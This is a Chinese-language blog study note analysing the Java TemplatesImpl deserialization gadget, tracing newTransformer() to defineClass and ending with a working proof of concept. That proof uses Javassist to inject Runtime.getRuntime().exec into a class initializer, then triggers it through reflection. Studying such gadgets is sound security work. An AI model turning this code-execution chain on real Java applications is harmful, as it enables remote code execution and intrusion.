看到这个字眼时还是很熟悉的,能够直接想到 TemplatesImpl 链子,以前做过一道 2023 巅峰极客 BabyURL 就用到了这个链子,自己当时也是分析过 image-20251015210054940,也是很久以前的事情了,这次就巩固总结一下吧

TemplatesImpl 类位于 com.sun.org.apache.xalan.internal.xsltc.trax 包中,是 Java 标准库的一部分

其主要作用是处理 XSLT(Extensible Stylesheet Language Transformations);XSLT 是一种用于将 XML 文档转换为其他格式(如 HTML、文本或其他 XML 文档)的技术。

但由于其内部加载字节码的机制,因此可以被滥用于反序列化漏洞利用。其关键机制是 TemplatesImpl 类内部维护了一个 _bytecodes 字段,这是一个用于存储类的字节码(对其注入恶意代码),这种原生依赖限制在 Java 9 以前的 JDK 版本下

寻找利用

大同小异,对于 ClassLoader 类加载器,我们能够想到的是加载恶意类直接利用,如果你熟悉 ClassLoader 的加载流程,其 defineClass 方法会利用类字节码去 JVM 中注册该类,如果我们可以直接利用 defineClass,那将字节码直接注入即可

我们先来看一段 Xalan 正常使用的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javax.xml.transform.Templates;
import javax.xml.transform.Transformer;
import javax.xml.transform.stream.StreamResult;
import javax.xml.transform.stream.StreamSource;
import java.io.InputStream;
import java.io.OutputStream;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;

public class Main {
public static void main(String[] args) throws Exception {
Path out = Paths.get("target", "output.html");
Files.createDirectories(out.getParent());

ClassLoader cl = Thread.currentThread().getContextClassLoader();
try (InputStream xml = cl.getResourceAsStream("input.xml");
InputStream xslt = cl.getResourceAsStream("transform.xslt");
OutputStream html = Files.newOutputStream(out)) {

TransformerFactoryImpl factory = new TransformerFactoryImpl();
Templates templates = factory.newTemplates(new StreamSource(xslt));
Transformer transformer = templates.newTransformer();

transformer.setParameter("title", "Example");
transformer.transform(new StreamSource(xml), new StreamResult(html));
}
}
}

这个代码可以将 XML 文档转换成 HTML 格式

image-20251016152318031

我们在 newTransformer() 方法这里下断点,这是用于 XSLT 转换的一个主要方法

image-20251016153154480

之后我们继续跟进 getTransletInstance() 核心方法,主要负责加载和实例化编译后的 XSLT 转换类

image-20251016153622733

跟进 defineTransletClasses()

image-20251016153831148

这里就找到了我们想要的,继续跟进会发现调用了原生 defineClass 方法,整体调用栈

image-20251016161131688

那么我们的入口类就是 newTransformer() 方法了

image-20251016162602538

构造 Poc

整体链子感觉还是挺简单的,不过我们回过头来要注意些细节

  1. getTransletInstance() 方法会检查 _name 是否为 null,这里我们需要设定一个 string 类型的值

    image-20251016163705671

  2. line 408 中会通过 _class[_transletIndex] 获取主类,_transletIndex 的默认值是-1

    image-20251016164953875

    跟进 defineTransletClasses() 这部分代码

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    for (int i = 0; i < classCount; i++) {
    _class[i] = loader.defineClass(_bytecodes[i]);
    final Class superClass = _class[i].getSuperclass();

    // Check if this is the main class
    if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
    _transletIndex = i;
    }
    else {
    _auxClasses.put(_class[i].getName(), _class[i]);
    }
    }

    这里会循环遍历我们 _bytecodes 数组中的字节码,检查父类是否为 ABSTRACT_TRANSLET

    1
    2
    private static String ABSTRACT_TRANSLET
    = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";

    因此为了保证能够成功实例化,我们还要确保恶意类继承自它

  3. 依旧是 defineTransletClasses(),在使用自定义类加载器 TransletClassLoader 时, _tfactory 字段用来加载传入的字节码,可以看到这个属性默认为 null

    1
    private transient TransformerFactoryImpl _tfactory = null;

    当访问一个 null 对象时会出现 NullPointerException 空指针异常的错误,因此我们需要设置一个 TransformerFactoryImpl 类型的实例

    image-20251016170522396

总结一下:

  • _name 不为 null
  • 恶意类继承自 ABSTRACT_TRANSLET
  • 实例化 _tfactory

入口类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
package org.example;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.Serializable;

public class EntryClass extends AbstractTranslet implements Serializable {
@Override
public void transform(DOM document, SerializationHandler[] handlers)
throws TransletException {
}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler)
throws TransletException {
}
}

恶意类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
package org.example;

import javassist.ClassPool;
import javassist.CtClass;

public class Evil {
public static byte[] makeBytes() throws Exception {
String cmd = "Runtime.getRuntime().exec(\"calc.exe\");";
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.get(EntryClass.class.getName());
ctClass.makeClassInitializer().insertBefore(cmd);
return ctClass.toBytecode();
}
}

也可以不要入口类,直接用 JavassistsetSuperclass 修改父类

1
2
3
4
5
6
7
8
9
10
public class Evil {
public static byte[] makeBytes() throws Exception {
String cmd = "Runtime.getRuntime().exec(\"calc.exe\");";
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("org.example.Evil");
ctClass.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
ctClass.makeClassInitializer().insertBefore(cmd);
return ctClass.toBytecode();
}
}

执行类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
package org.example;

import java.lang.reflect.Field;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;

public class SinkEvil {
public static void main(String[] args) throws Exception {
byte[] byteCode = Evil.makeBytes();
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "Qu43ter");
setFieldValue(templates, "_bytecodes", new byte[][]{byteCode});
setFieldValue(templates, "_tfactory", new com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl());
templates.newTransformer();
}

static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field declaredField = obj.getClass().getDeclaredField(fieldName);
declaredField.setAccessible(true);
declaredField.set(obj, value);
}
}

image-20251016173423887

其它

也可以结合 FastJson 进行攻击,这个先插个眼以后再单独分析